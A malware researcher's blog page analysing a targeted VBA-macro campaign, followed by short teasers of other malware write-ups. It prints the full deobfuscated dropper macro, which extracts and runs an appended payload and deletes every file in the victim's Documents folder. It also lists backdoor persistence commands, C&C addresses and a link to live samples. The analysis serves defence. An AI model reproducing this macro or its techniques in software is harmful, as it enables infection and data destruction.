New threat actor uses VBA macros in targeted attacks

In recent years, the revival of malicious VBA macros has become quite popular among cyber criminals. At the beginning of last year, a new threat actor also started to send spear phishing emails with malicious Microsoft Word documents. During my research, I have found multiple malicious documents which indicate that this is a campaign of targeted attacks. The threat actor uses a custom made malware which hasn't been publicly disclosed yet.

What makes this threat interesting is the unusual implementations of the malicious macro and the malware. Moreover, the geographical distribution of some malware infections in the Middle East is quite interesting. Unfortunately, I can't share the exact countries publicly. (^_^)

Microsoft has given the malicious Word documents an own family name as TrojanDropper:W97M/Miskip. The malware hasn't an own signature yet and is only detected as generic malware by AV companies.

At the end of the article, I also provide a small Python script which can be used to extract the encrypted files (decoy document + payload) from the malicious Word documents.

Malicious Word Documents

The malicious Word documents are sent via emails to the targeted persons. After opening a document, a more or less professionally designed page appears which requests the victim to enable macros so the actual content can be seen. If someone falls trap to this, the document gets closed, deleted and instead a decoy will be shown. At the same time, the malware is installed in the background.

The following screenshots show the collected documents before and after the macro was enabled:

Figure 1. "closing of borders for migrants by European Union countries.DOC" (Creation date: 2015/11/24)

Figure 2. "memo.doc" (Creation date: 2015/11/04)

Figure 3. Fake certificate of "memo.doc"

Figure 4. "Australian_students.doc" (Creation date: 2015/11/03)

Figure 5. "BUDGETARY PLAN 2016.DOC" (Creation date: 2015/11/03)

Figure 6. "Information-letter.DOC" (Creation date: 2015/11/03)

Figure 7. "CV Leila Musayeva.doc" (Creation date: 2015/04/15)

Figure 8. "Galileo project.doc" (Creation date: 2015/03/18)

Figure 9. "Invitation for Dl Vasile Soare (FIS 2015).DOC" (Creation date: 2015/03/18)

Figure 10. "Conference.doc" (Creation date: 2015/03/18)

Sometimes, the decoy documents contain several pages of which only the first page is shown here. As you can see, one document is even signed with a fake certificate from the Swedish consulate of Honolulu.

Malicious Macro

There are two versions of the malicious macro which I categorize further as "old" and "new". In older versions, the macro only decrypts the older version of the malware which is appended to the document and executes it. In this case, the malware itself carries the decoy document and is responsible for opening it and delete the original document. In newer versions, the macro decrypts and starts the decoy document and the malware which are both appended to the document.

The malicious macro is implemented as a VBA module and uses the predefined names AutoOpen and AutoClose to automatically execute the functionality after the document was opened and closed. A live analysis of the source code is tricky to do, since after enabling the macro in order to debug it the original document gets deleted together with the macro. Furthermore, some old and all new versions of the macro have their strings obfuscated. Moreover, in some recent documents the macro is additionally password protected.

However, there are a few tools available to extract a VBA macro source from a Word document in order to statically analyse it. For example, I have used the olevba.py script from oletools which can extract the source code even if the macro is password protected.

An analysis of the old macro version was already done by Xavier Mertens and can be found here.

The deobfuscated source code of the new macro can be seen in the following code listing:

Public szTargetPath As String
Public szDocumentsPath As String

Function CalcChecksum(ByteArray() As Byte, length As Long) As Byte
    
    For I = 0 To length - 1
        CalcChecksum = CalcChecksum Xor ByteArray(I)
    Next I

End Function

Function Decrypt(ByteArray() As Byte, length As Long) As Boolean
    
    Dim VarByte As Byte
    VarByte = 75
    
    For I = 0 To length - 1
        ByteArray(I) = ByteArray(I) Xor VarByte
        VarByte = (VarByte Xor ((200 + I) Mod 256))
        VarByte = (VarByte Xor (I Mod 256))
    Next I
    
    Decrypt = True
    
End Function

Sub AutoClose()
        
    On Error Resume Next
    Kill szTargetPath
    
    On Error Resume Next
    Set FSO = CreateObject("Scripting.FileSystemObject")
    FSO.DeleteFile szDocumentsPath & "\*.*", True
    Set FSO = Nothing
        
End Sub

Sub AutoOpen()
    
    On Error GoTo Cleanup
    
    Set oNetwork = CreateObject("WScript.Network")
    szDocumentsPath = "C:\Users\" & oNetwork.UserName & "\Documents"
    
    Set oShell = CreateObject("WScript.Shell")
   
    Dim fNumber
    Dim lenFile As Long
    Dim fData As Long
    Dim lenDecoyDoc As Long
    Dim chksumDecoyDoc As Byte
    Dim lenPayload As Long
    Dim chksumPayload As Byte
       
    lenFile = FileLen(ActiveDocument.FullName)
    
    fNumber = FreeFile
    Open (ActiveDocument.FullName) For Binary As #fNumber
        
    Get #fNumber, (lenFile - 3), fData
            
    If fData < 8 Then
        GoTo Cleanup
    End If
    
    If (fData + 4) > lenFile Then
        GoTo Cleanup
    End If
    
    Dim lenFileArray As Long
    lenFileArray = lenFile - fData + 1
    
    Get #fNumber, lenFileArray, lenDecoyDoc
    lenFileArray = lenFileArray + 4
         
    Dim DecoyDocumentArray() As Byte
    ReDim DecoyDocumentArray(lenDecoyDoc - 1)
    
    Get #fNumber, lenFileArray, DecoyDocumentArray
    lenFileArray = lenFileArray + lenDecoyDoc
    
    Get #fNumber, lenFileArray, chksumDecoyDoc
    lenFileArray = lenFileArray + 1
        
    If Not Decrypt(DecoyDocumentArray(), lenDecoyDoc) Then
        GoTo Cleanup
    End If
    
    Dim Checksum As Byte
    Checksum = CalcChecksum(DecoyDocumentArray(), lenDecoyDoc)
        
    If chksumDecoyDoc <> Checksum Then
        GoTo Cleanup
    End If
        
    Dim DecoyDoc
    DecoyDoc = FreeFile
    szTargetPath = szDocumentsPath & "\" & "view.doc"
    Open (szTargetPath) For Binary As DecoyDoc
    Put DecoyDoc, 1, DecoyDocumentArray
    Close DecoyDoc
    
    Erase DecoyDocumentArray
    
    oShell.Run szTargetPath
        
    Get #fNumber, lenFileArray, lenPayload
    lenFileArray = lenFileArray + 4
        
    Dim PayloadArray() As Byte
    ReDim PayloadArray(lenPayload - 1)
    
    Get #fNumber, lenFileArray, PayloadArray
    lenFileArray = lenFileArray + lenPayload
    
    Get #fNumber, lenFileArray, chksumPayload
    lenFileArray = lenFileArray + 1
        
    If Not Decrypt(PayloadArray(), lenPayload) Then
        GoTo Cleanup
    End If
        
    Checksum = CalcChecksum(PayloadArray(), lenPayload)
        
    If chksumPayload <> Checksum Then
        GoTo Cleanup
    End If
        
    Dim Payload
    Payload = FreeFile
    szTargetPath = szDocumentsPath & "\" & "view.exe"
    Open (szTargetPath) For Binary As Payload
    Put Payload, 1, PayloadArray
    Close Payload
    
    Erase PayloadArray
 
    oShell.Run szTargetPath
        
    Close #fNumber
    Close DecoyDoc
    Close Payload
Exit Sub

Cleanup:
    Close #fNumber
    Close DecoyDoc
    Close Payload
End Sub

The macro takes the last 4 bytes of the document which is the size of the appended data and subtracts it from the document size to get the offset of the data. Starting from this offset, the decoy document and the malware will be decrypted, written to disk and executed. Each appended file contains a 1 byte checksum which will be compared to the calculated checksum after decryption. The following illustration shows the layout of a document:

Figure 11. Layout of the malicious Word documents with the new macro

The decoy document and malware payload will be extracted to the %USERPROFILE%\Documents folder as view.doc and view.exe. The file names and the target folder may vary in the new macros.

An overview of the collected documents along with their characteristics is given in the following table:

Document file name	Creation date	Macro version	Macro obfuscated	Macro password protected
closing of borders for migrants by European Union countries	24.11.2015	new	yes	no
memo	04.11.2015	new	yes	yes
Australian_students	03.11.2015	new	yes	yes
BUDGETARY PLAN 2016	03.11.2015	new	yes	no
Information-letter	03.11.2015	new	yes	no
CV Leila Musayeva	15.04.2015	old	no	no
Galileo project	18.03.2015	old	no	no
Invitation for Dl Vasile Soare (FIS 2015)	18.03.2015	old	yes	no
Conference	18.03.2015	old	yes	no

Custom Malware

 

The custom made malware is a small backdoor which can download additional malware and upload files to the C&C server. Depending on the macro version, there are basically 3 variants involved in which the final malware will be dropped.

In the first variant, which is used when the old macro is involved, a self-extracting RAR archive will be dropped and executed. This file contains the decoy document, a JavaScript file and another self-extracting RAR file. The JavaScript file is responsible for deleting all dropped files after their execution including itself. The second self-extracting RAR file contains the files of the custom malware.

In the second variant, which is also used when the old macro is involved, a compiled executable will be dropped instead of a self-extracting RAR archive. This executable contains the decoy document, the JavaScript file and another dropper encrypted inside its .text section. The second dropper is also a compiled executable, but contains the custom malware files non-encrypted inside the .data section.

The last variant is used when the new macro is involved. As already mentioned, the appended decoy document and malware are dropped by the macro. The dropped file is again a self-extracting RAR archive which contains the custom malware files. The job of the JavaScript file is done by a batch file that will be decrypted by the final malware.

The custom malware evolved over time and has a modular design. It consists of one executable (EXE) and several libraries (DLL) for both Windows platforms, 32-bit and 64-bit. These files will be extracted into the following folder:

%APPDATA%\Microsoft\VisualStudio\11.0

The functionality is divided into the different libraries, starting from a file named dws.exe (in recent versions). This file checks for the Windows version and chooses the appropriate library to further process. The 64-bit counterparts of the 32-bit components always have a "...60" suffix. The start module of the 64-bit malware version is named msi.exe. The following screenshot shows the the different modules of the malware:

Figure 12. Modules of the custom made malware

The following table gives an overview of the module functionalities:

File name	Description
dws.exe	Starting point (32-bit); Decides whether to load x86 modules or to switch to x64 counterpart (msi.exe)
msi.exe	64-bit starting point; Loads x64 modules
msi.dll / msvci60.dll	Process injection module
msi32.dll / msi60.dll	Module managing and persistency module
msk.dll / msk60.dll	Command processing module
msp.dll / msp60.dll	Process searching module (target process strings encrypted)
mst.dll / mst60.dll	Networking module

Sensitive strings are encrypted with the RC4 stream cipher and will be decrypted on-the-fly. For each malware always the same initial decryption key is used, but some modules change the key with the help of a small obfuscation trick. Essentially, the decryption key is altered by adding 0x3 to each byte of the key. However, this not instantly recognizable since the value 0x3 will be obtained using Windows API function calls:

Figure 13. Code obfuscation trick to obtain value 0x3

By using CreateFile() along with 0 as lpFileName parameter the function will always fail with the error code ERROR_PATH_NOT_FOUND (0x3). This error code is obtained with the help of GetLastError().

An example of the decrypted strings used in the 32-bit malware files dropped by the macro of "BUDGETARY PLAN 2016.doc" can be seen in the following listing:

mst.dll:
GET
Check:
164.138.29.200
/rss.php
198.211.125.176
go.microsoft.com

msk.dll:
SHR
mst.dll
CI
1
MyCookie:
SOFTWARE\\Microsoft\\Cryptography
MachineGuid
CS
cmd
download
upload
text/html
close
selfdestroy
st
xmlupd.bat
RUN_BAT_FILE_ERROR
File:

msi32.dll:
schtasks /create /SC DAILY /ST 12:00 /TN update /F /TR
dws.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
dwupdate
Software\Microsoft\Windows NT\CurrentVersion\Windows Devices
\\.\pipe\bc31a7
msi.dll
msp.dll
msi.exe
dws.exe

msi.exe:
msi.dll
msk.dll
:Repeat
"
if exist "
" goto Repeat
del %0
selfdel.bat
msp.dll
mst.dll
mst60.dll
msk60.dll
msi60.dll
msp60.dll
msi32.dll
msvci60.dll

A complete list of the extracted C&C servers from all malware files of the different documents can be found in the network indicators section at the end.

Conclusion

The use of VBA macros to infect victims cannot only be seen in malware mass distributions, but also in targeted attacks. Although this specific threat actor doesn't use any advanced techniques it can still pose a risk. The decision to split the malware into several modules on disk is a bit unusual. However, beside maintainability reasons this approach could have been chosen to bypass detection, since the single malicious functions are divided into several files.

Python script to extract the files from TrojanDropper:W97M/Miskip.(A/B): https://github.com/TheEnergyStory/malware_analysis/tree/master/Python/Miskip

Thanks to Anton Cherepanov

Network Indicators

C&C Server:
164.138.29.200
192.34.56.84
198.211.125.176
46.4.106.104
78.46.123.116
78.47.81.13
88.208.0.130
scientific.otzo.com

Hashes (SHA-1)

Documents:
261a8fc8e0e396298120a7bc15c32a37f3ce5b94
c5166d1a574bc5e374490846f2584f94f755d90b
eb0f02e36e77221366becabc60e78dd43368ab9d
bca5accb9f1d0806f8603cf74ce0ebe9519f5004
2bf06a003a9bd56d2ed91770966a7aee7d9784b9
547f525f57f3f47222ae3ab253635df936bd355a
ba1713e051df56138e209e846483509beea544f2
a5daecfd57f006acd15486bd544f40e4cdce3801
e5b01e3537ab60250205c3fc93eac7aa441f3dae

Dropper Files:
5bcc6da122b3aa88c766d80eb7774c2c6e9e25d5
38d16c19b54bf2c94e0ad81fca207de062181b31
33f57151a52666ca055f1dc66ef04e2f9cb09918
0a9dd2b71df68ba088d7d868d7e191875755e34c
5c6f9b68a88b85063c7a480769f6cf9f20b9c1e6
14014f810a0c07b6dde48b7a8954b56c409ae7f3
acc2250be782063f268b87bd0f798549c5838b95
272c42bcdcc88adba1e01e60a931fbe5f5800883
c8395601ea301ba083cb530dad7a44c8048eeb77
b35b07ad4f42493ecb19f66aba83da8e74c1bb5a
fdb9d026502aa64aa23b1acb96f6d0013ef874b4
be10c837af1f25ee67440f3a33da8c650f5ab54a
8f8d7cd742fb843ba8cb16c2b2d6349436049ed8

JavaScript Files:
13a4f08f45a11ffc17ae6b50a6eaa37941fad16a
652f590ca7ddd103bfb6c9aefd74530335db37dd

Malware Files:
a9239572afe4fbdfe077a262c9699eb1d22a9c87
b84ef6480d888b560b071e1f97e78f06080dae89
eacadedc31af04ef86470aec62ad3eccc9a35332
852dc73ca9e6d92b3da96500d27ab44b7f9a4ea4
eb1b83825ff28de7f13812bfce273ad7fb1994fb
b2700f16e4494ef7eba26b88a800728621adffea
d80d5ccb9d37d971a408d3c91f803e40b8421a2c
4eecebf5c9720c8e85347e0dcf55a844a6d01b08
5aaa055fa5eb9a436ca0e643bf2ada268bcd6f33
2eb5a075b710155c409e727e7f74fdc3be63b58c
b55dac24f646dd5e0ea856d6ed7891ad8c8acdc1
713855aa5680154324bfcbac638aa1c12681e3c3
5a6b14fad221ab65a086b1ee7c97eb63ff38480e
2ad7262ad52320399aa54cd8482c30e7a480bebc
edf96c42f4e1cf43fbaab3f0bbf54280fc8e311d
67e9e098c2b39b5847f6cd3aa5a3f86917602f5f
8c4dd73cdd48908ddf5039c5a99e719dfd44ff41
5617c1414cb79411c64883ee72d219d52123fa30
a5359856742d09d1596e5c7fde407856d72046db
325b1075b4544ecc2c5741a7a06a9df00f0965da
aecf66120861b71c92a2d1f0015fc9228c02ee88
c340534b8eafed85fc6e9950033b0b9e696d5cb0
23ce92fd1d4d2d42389a66869434fb578aa3f539
623185a651a1962538141d7ffefdc2f2445a9201
88fd1ee6fb78385a1c5e462dd0768bc34b8188a3
80091e1b7b4dd404c83a9c54fda9e6951b2689b1
5374b898dbb618aa84d92f7a3e9d166e9e819960
0641f22e1b4e15cc23660b2e8bbf42623e997dfb
368b746daf5448812b231aed67bd795dfb5a605d
22c565e2cfb8adadd022b0ec281bb2b6ed62dca2
4880a13c4e1cde0343c233f5e107abf4e3d00664
54ac8caeae8046e01301379602041c74ee527dfc
100241519698bb013f668ff49d3d0d4fdab6a584
b0b9215e236bb47f5f0a108be97b24d20898d2fc
78499e4694f847972576960a04f8177691a7c911
eda30afac2c1fa0ed2c80e8859e2556ea3dfe2ef
a753de6b2e6d3d5735fc5e90a879f1ad7e93fb0f
4f35665e689bea4f116505f81ae2906fd1517128
ee1f5ba06400fa192664f984d71b1a0cdba96d75
b4e867893d9d6f8b52de98ab6b41513d61f20472
92731e4ed149c59a25c233635c55a87a8a22b19f
621698f821a2bafccad026f9f5d2fe1ac46a39ce
686ada60c898782b57ca993141b64f7c7a531c50
9957af2dbfa04bca2a5319a216852ce4f4a17682
46f1b8722f8f094015c749599e94a3e44850df0a
c414ba1dd1f281a63e58c60eb1d8cb4ac3c4e7f0
c7accc1c4ceedc756c30ebb2f1ff9f0dbd0255b0
ca07bbfc5e8c15c4258f92e6e6c328b86b7b19a5
2a84f90ed23a569defee7b37f4650aca4021a767
01e2e16be5828ca03c6b78f253bd962bfaa5ccbf
5ff776d23e6c6af47619ad2e7333a434b79e19df
443551d822eba6a81b8ac3177e31e210c99934d0
5d492ae763bfc227db9eea46e560124128ff925b
c34a68c1a2d2beddbbe8ee8bd125cce14d0dc377
d83d7de186fa6c7abe4676eb568ba4dc62a7c931
49f0569886e5e6ba4b32b7f118dc35f9e5916dc2
66a7642abaf3d05d5ab14e83dfd52eca0c17acc6
85c03c6fa5e3803e55a46f17d6981992181de57b
b4afc5e0002201ce052466cba9061018474b1de0
58952be65d0ed53490f69f566485c699f246dcc0
336d5957909487990033a3432d0347be34db044a
ede8ec9f3efeb515859becd1f430f82933b42dd9
e20b0f03f6708118bca9f408b156b210ba083b54
eea9fec97dca5d122069adf6dd71628bd6d9c2fd
ce234ed0899c8f97e3f2085215b842723a773368
b719e1d03e860235a68dda4168f29ac4988d25de
23d5cc54641f56f554890bbd55d580e5c564e197
3e10fd3e8d4c4a7900e603aee7660c83441d998e
8ffd436182f8d2a7ec0a66c0d6d43f71222f62b5
e32832e3f0e0b8450e7bdded16c441951b171130
840de34aa767131eb34069e6f936dea3a48c024e
3fbaf98c75992db9db11d29ae20c13b7b0f50470
ccf0a302eb264cbb5db726d61ad18ebdc0d3d012
c0c4967d77068828e53a4bfee8a2f1c5bc0f07fc
9990642494e717bfcff58820b4b5590f12f5b195
6e287126e2513c2308be324645f2fcfe459c3c6e
e27baad249da7324db9a87754640ccf84763818d
2fbf05f6c944a2bc8d411d05e2bb5f0b51578771
8fdb68434d0b0dfe268edb32fb281cde0c43a25b
a3899055a07e039c839c9ec14ea71f3aa4f7db4a
b60691c8f915d8c4f34465d29a060a985e8e471a
0f8d1b65f73d4c0704d65b90a7cf39afc10f8aca
45cd2ce39a8e55e93c49a8703dbe475f01049d3c

Share:

Read more

What have H1N1 Loader, TreasureHunter and Jolly Roger Stealer in common?

Sometimes, when analysing a malware sample you think: "Wait a minute, I have seen this before". While it's already known that the author of Jolly Roger Stealer is also behind TreasureHunter, this person also wrote H1N1 Loader. When you take a look at the disassembly of Jolly Roger Stealer and H1N1 Loader it becomes clear that it's the same coding style. Also, the two malware use the same techniques to obfuscate strings, hashing API functions, using shellcode and patching Windows files to bypass UAC.

Comparison of Jolly Roger Stealer and H1N1 Loader (v2)

Jolly Roger Stealer comes in the form of a Visual Basic executable with the encrypted payload in the resource section. Interestingly, the decryption algorithm uses the PXOR instruction (MMX) along with the registers MM0 and MM1.

Figure 1: Decryption algorithm of Jolly Roger Stealer

Once decrypted into memory, it in turn decrypts the final payload from its .data section and stores it to the Windows registry. Moreover, it creates either a process of svchost.exe or wuauclt.exe and patches its entrypoint with a shellcode. This shellcode than loads the final payload from the registry into memory, unpacks (Upack) and executes it.

H1N1 Loader comes in the form of an executable with no imports. It carries the encrypted and Upack compressed payload in the .text section. To bypass UAC it uses a modified version of the Wusa.exe method which also includes the patching of a Windows file with a shellcode.

A comparison of both malware can be seen in the following flowchart:

Figure 2: Comparison of the functionalities of Jolly Roger Stealer and H1N1 Loader

As you can see, the final payload is always a DLL file which is compressed with Upack. Patching the entrypoint of Windows system files seems to be the preferred method of the author to bypass UAC. The final payload of Jolly Roger Stealer doesn't use any string obfuscation and API function hashing. One can think that it was only encrypted with the help of a crypter which was written by the H1N1 Loader. However, I think it's more likely that both malware are written by the same person, since also the advertises share some similarities. Moreover, I have neither seen nor read about any crypter which uses the described techniques.

As mentioned above, both malware use the same method to obfuscate sensitive strings:

Figure 3: Comparison of the string obfuscation techniques

And the almost identical hashing algorithm for API functions and library names:

Figure 4: Comparison of the hashing algorithms

Conclusion

Sometimes it happens that you can connect the dots between several malware. My theory is that the author first released Jolly Roger Stealer at the end of 2013, but dropped the project for some reasons. He went on with TreasureHunter which first appeared around one year after the first Jolly Roger Stealer samples were seen. Later, he started to write H1N1 Loader which is based on his former project Jolly Roger Stealer.

Hashes (SHA-256)

Jolly Roger Stealer: c0b4f9060a9d02904a279db05292cafa360f91b9350742354987b55acebfec0d
H1N1 Loader (v2): 7b49fcc3c8d77e1da69fb36c747028855ce187cf60073caeb199a5b49fadf9cb

Share:

Read more

Geographical distribution of Furtim malware infections

One month ago, someone posted a malware sample on the Kernelmode forum that uses a huge blacklist of security related programs. If one of this programs is found on the victims system the malware stops execution. Probably, this is the reason why this malware stayed undetected for quite some time. A description and an analysis of this threat called Furtim can be found here:
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4341
http://breakingmalware.com/malware/furtim-malware-avoids-mass-infection/

Due to a misconfigured C&C server which allowed a public directory listing, I was able to obtain over 1 GB of data from the victims. With this information, I can draw the geographical distribution of victims and present the top countries of infection.

The data

The C&C server contained several directories with text files named after the IP address of the victim. The earliest file dates back to 24. February 2016, so it stayed undetected for 2 months according to this data. Each file contains the following information:

- The CPU model
- A list of system drivers with path names
- The Network interfaces
- A list of processes along with the modules and their path names
- A list of installed programs
- A list of programs in the registry Run key
- A list of running Windows services with path names

It looks like the operators run different campaigns to spread their malware, because there are several directories which contain files with different creation date. For example, there is a directory named "1" which contains only victim data files created on 24. February 2016. Another folder named "2" contains only files created on 24., 25. and 26. February 2016 and so on.

Infection statistics

I assume the malware sends the information about a victim only once to the C&C server. Otherwise, you would have a ton of duplicate files from the same victim which would only differ in the volatile information (e.g. process list). Based on this assumption we have a total number of 15060 infected hosts during the period from 24. February - 26. April 2016.

The geographical distribution of the victims is presented in the following map:

Figure 1: Geolocation of Furtim infections

The markers on the map are based on the GeoLite databases which gives only an imprecise geolocation of IP addresses. For example, if there are multiple IP addresses located in and around a city, the geolocation results in the same coordinates. A lot of duplicate geolocations were therefore removed and thus not all of the 15060 victims are present in the map. However, the map should give a good overview of the distribution of victims.

The absolute numbers associated with countries are given in the following diagrams:

Figure 2: Top 30 countries of Furtim infections (logarithmic)

Figure 3: Top 30 countries of Furtim infections (linear)

 

Conclusion

Given the period of 2 months a total of 15060 victims were infected with Furtim. The malware is spread all over the world and the country with the highest infection rates is the Ukraine.

Share:

Read more

Project APC - Analyse einer Schadsoftware (german)

Den nachfolgend im Detail beschriebenen Bot habe ich auf der Suche nach Schadsoftware gefunden, die mit Hilfe sog. asynchroner Funktionsaufrufe (engl. Asynchronous Procedure Calls oder kurz APC) Schadcode in einen anderen Prozess laden kann. Neben der Möglichkeit sich mittels APCs in verschiedene Windows Prozesse zu injizieren, besitzt dieser Bot eine Reihe anderer interessanter Funktionen. Zum Beispiel enthält die Schadsoftware, wie normalerweise üblich, keinerlei verschlüsselten oder im Klartext vorhandenen Command-and-Control-Server (C&C-Server) in Form einer IP Adresse, einem Domainnamen oder einem Domain-Generierungs-Algorithmus (DGA). Stattdessen implementierte der Autor einen Mechanismus um mit Hilfe des Mikroblogging-Dienstes Twitter an den C&C-Server zu gelangen. Diese Methode ist nicht neu und kam schon bei der OSX/Flashback Schadsoftware zum Einsatz. Des Weiteren verwendet die Schadsoftware durchgehend verschiedene Verschlüsselungsmethoden, um die Analyse der Daten und des Datenverkehrs zu erschweren.

Bericht: https://www.dropbox.com/s/3woi74vdrgxs1gv/Project%20APC%20-%20Bericht.pdf?dl=0

Samples: https://www.dropbox.com/s/ktngh4qphisb9d9/Project%20APC.zip?dl=0 (PW: infected)

Share:

Read more

Dyre banker aka Win32/Win64 Battdil - Inside a related web panel

What I have learned over the years as a hobby malware analyst is whenever you think you are the first who discovered a new malware family, you can be sure at least a dozen people are already working on the threat. And I am not speaking about what you can later see in public...

As in the case of the recently discovered banker named Dyre this is no exception. While cleaning up my malware collection yesterday, I stumbled upon a malware threat which Anton Cherepanov and I briefly analyzed 3 months ago. After a quick search on the Internet, I realized that this sample which was first discovered by ESET and named Win32/Battdil.A respectively Win64/Battdil.A is the recently publicated threat named Dyre or Dyreza banker. You can read about this malware here:

http://phishme.com/project-dyre-new-rat-slurps-bank-credentials-bypasses-ssl/
https://www.csis.dk/en/csis/news/4262/
https://www.csis.dk/en/csis/blog/4318/
http://stopmalvertising.com/malware-reports/introduction-to-dyreza-the-banker-that-bypasses-ssl.html
http://stopmalvertising.com/malware-reports/analysis-of-dyreza-changes-network-traffic.html

Share:

Read more

Malware spread over Facebook - TrojanDownloader:Java/Carastavona.E

Earlier today, I stumbled upon a blogpost by Bitdefender which describes a malware sample that spreads across Facebook users:

http://www.hotforsecurity.com/blog/its-not-funny-facebook-users-tricked-into-bitcoin-mining-9263.html

I thought to give it a shot, since I have realized in my last article that reversing Java malware is quite funny, probably because it is easier and not that exhausting as looking over hundreds/thousands of lines of disassembled code. Unfortunately, the article doesn't give any hashes, just the file name of the malware sample which is named IMAG00953.zip.

Share:

Read more

Blitzanalysis: Embassy of Greece Beijing - Compromise

It's friday afternoon, I had a bit of free time and stumbled across this tweet by PhysicalDrive0 (thx!) two hours ago and thought to give it a try to finally add a new article to this Blog (first of 2014):

https://twitter.com/PhysicalDrive0/status/479921770838102017

So, I went to Google to search for the domain of the Embassy of Greece Beijing and added the (allegedly) malicious java file package that was found by PhysicalDrive0:

Share:

Read more